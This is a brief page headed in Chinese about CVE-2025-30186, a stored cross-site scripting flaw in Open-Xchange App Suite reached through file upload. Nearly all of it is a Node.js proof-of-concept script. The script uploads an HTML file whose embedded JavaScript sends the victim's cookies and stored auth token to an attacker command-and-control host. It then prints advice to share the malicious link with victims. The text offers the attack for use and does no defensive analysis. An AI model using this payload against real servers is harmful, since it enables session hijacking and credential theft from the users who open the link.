CVE-2025-30186: Open-Xchange文件上传型跨站脚本漏洞

// CVE-2025-30186 PoC - Open-Xchange XSS via File Upload // This PoC demonstrates the stored XSS vulnerability const https = require('https'); const targetHost = 'vulnerable-server.example.com'; const targetPath = '/api/v1/file/upload'; // Malicious file content with XSS payload const maliciousContent = `<script> // Steal session cookies document.cookie; // Exfiltrate sensitive data fetch('https://attacker-c2.com/steal?data=' + encodeURIComponent(document.cookie + '|' + localStorage.getItem('authToken'))); </script>`; // Prepare multipart form data for file upload const boundary = '----WebKitFormBoundary' + Math.random().toString(36).substring(2); const postData = `--${boundary}\r ` + `Content-Disposition: form-data; name="file"; filename="malicious.html"\r ` + `Content-Type: text/html\r ` + `\r ` + maliciousContent + `\r ` + `--${boundary}--\r `; const options = { hostname: targetHost, port: 443, path: targetPath, method: 'POST', headers: { 'Content-Type': 'multipart/form-data; boundary=' + boundary, 'Content-Length': Buffer.byteLength(postData) } }; const req = https.request(options, (res) => { let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { const response = JSON.parse(data); console.log('File uploaded. File ID:', response.fileId); console.log('Malicious URL:', response.fileUrl); console.log('Share this URL with victims to trigger XSS'); }); }); req.on('error', (e) => { console.error('Upload failed:', e.message); }); req.write(postData); req.end(); console.log('CVE-2025-30186 PoC - Open-Xchange Stored XSS'); console.log('Target: Open-Xchange App Suite'); console.log('Attack Vector: Upload malicious file -> Share link -> Victim clicks -> XSS executes');